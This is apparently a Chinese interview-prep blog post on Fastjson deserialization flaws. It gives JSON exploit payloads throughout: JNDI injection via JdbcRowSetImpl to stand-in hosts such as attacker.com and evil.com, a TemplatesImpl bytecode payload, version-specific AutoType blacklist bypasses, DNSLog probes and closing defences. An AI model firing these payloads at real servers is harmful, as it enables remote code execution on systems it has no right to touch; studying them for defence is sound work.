fastjson面试爱问的问题

Fastjson 是阿里巴巴开源的 Java JSON 解析库,因为其功能强大(如自动类型识别、自定义类反序列化等),也成为漏洞频发的重灾区,尤其在反序列化方面

主要漏洞就是反序列化

反序列化

fastjson反序列化与weblogic、shiro反序列化类似,在客户端将json数据进行序列化传送至服务端后,服务端会将其反序列化读取其中数据,若客户端操控json数据,加入一些恶意类方法、代码,则可能会造成服务端代码执行。同时由于fastjson采用黑名单过滤的方式,也存在着被绕过的风险。

当前出现的fastjson反序列化漏洞由于无法做到回显,一般会使用ldap和rmi远程调用的方式来进行getshell。攻击机发送恶意payload来使漏洞服务端进行ldap或rmi远程调用,调用搭建好的ldap或rmi服务上所布置好的class类进而执行,从而实现shell反弹

面试最爱问不出网怎么办

​TemplatesImpl 不出网 RCE JDK 自带TemplatesImpl
​BCEL ClassLoader JDK ≤ 8u251 目标包含 BCEL 类
文件写入(Webshell) 有文件写入权限 需二次请求
Groovy/ScriptEngine 目标安装 Groovy/JS 引擎 需特定环境
内存马注入 Java Web 环境 需熟悉 Servlet API

1. 漏洞原理

Fastjson 在解析 JSON 数据时,如果字段中包含 @type,会尝试将其转换为指定的 Java 类。例如:

复制代码
{
  "@type": "com.example.User",
  "name": "test",
  "age": 20
}

Fastjson 会尝试实例化 com.example.User 并填充字段。

漏洞触发条件

  1. 目标使用 JSON.parseObject() 或 JSON.parse() 解析不可信数据。
  2. AutoType 开启(默认开启,1.2.25 后需手动启用)。
  3. 存在可利用的恶意类(如 JdbcRowSetImpl、TemplatesImpl)。

2. 核心漏洞利用链

(1) JNDI 注入(依赖出网)

利用类:com.sun.rowset.JdbcRowSetImpl原理:该类的 setDataSourceName() 方法可触发 JNDI 查询,结合 LDAP/RMI 实现 RCE。Payload:

复制代码
{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://attacker.com/Exploit",
  "autoCommit": true
}

利用步骤:

  1. 攻击者搭建恶意 LDAP/RMI 服务器(如使用 marshalsec)。
  2. 目标解析恶意 JSON 时,向攻击者服务器请求恶意类并执行。

(2) TemplatesImpl(不出网利用)

利用类:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl原理:通过字节码加载直接执行任意 Java 代码(需目标环境有该类)。Payload:

复制代码
{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": ["恶意字节码Base64"],
  "_name": "test",
  "_tfactory": {}
}

特点:

  • 不依赖外部网络(无 JNDI 请求)。
  • 需构造合法的字节码(如通过 javac 编译恶意类)。

3. 历史绕过手法

(1) AutoType 黑名单绕过(1.2.25-1.2.47)

Fastjson 引入黑名单过滤危险类,但攻击者通过以下方式绕过:

  • ​L; 包裹类名(1.2.25-1.2.41):

    复制代码
    { "@type": "Lcom.sun.rowset.JdbcRowSetImpl;" }
  • 双写 LL;;(1.2.42):

    复制代码
    { "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;" }
  • ​[ 包裹类名(1.2.43):

    复制代码
    { "@type": "[com.sun.rowset.JdbcRowSetImpl" }

(2) 缓存绕过(1.2.47)

利用 mappings 缓存机制加载黑名单类:

复制代码
{
  "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" },
  "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://evil.com" }
}

4. 漏洞检测方法

(1) DNSLog 探测

复制代码
{ "@type": "java.net.Inet4Address", "val": "dnslog-attacker.com" }

若目标解析该域名,说明存在漏洞。

(2) 报错回显

复制代码
{ "@type": "java.lang.AutoCloseable" }

返回错误信息(如 AutoCloseable not found)则可能使用 Fastjson。

5. 防御措施

  1. 升级 Fastjson 到最新版(≥1.2.83)。

  2. 关闭 AutoType:

    复制代码
    ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  3. 使用白名单:

    复制代码
    ParserConfig.getGlobalInstance().addAccept("com.safe.pkg.");
  4. 替换库:使用 Gson 或 Jackson(需关闭不安全的配置)。

相关推荐
liu111ttk1 天前
反序列化快速理解
反序列化·面试八股文
十年编程老舅1 个月前
字节跳动 Linux C/C++ 后端 面经
linux·后端面试·八股文·字节跳动·面试八股文·服务器面试
三七吃山漆1 个月前
[网鼎杯 2020 青龙组]AreUSerialz
php·反序列化·网鼎杯
SuperherRo2 个月前
JAVA攻防-Shiro专题&key利用链&CB1链分析&入口点&调用链&执行地&Class加载
java·shiro·反序列化·cb1链
WayneJoon.H2 个月前
2023CISCN deserbug复现
java·安全·web安全·cc链·反序列化
SuperherRo2 个月前
JAVA攻防-Shiro专题&断点调试&有key利用链&URL&CC&CB&原生反序列化&加密逻辑
java·shiro·反序列化·有key·利用链·原生反序列化·加密逻辑
程序员三明治3 个月前
【Java基础】序列化到底是什么?有什么用?实现原理?
java·开发语言·后端·java基础·序列化·反序列化
SwBack3 个月前
[qsctf] 雏形系统
php·web·ctf·反序列化·雏形系统·qsctf
漏洞文库-Web安全3 个月前
[CTF]PHP反序列化总结
安全·web安全·网络安全·php·ctf·反序列化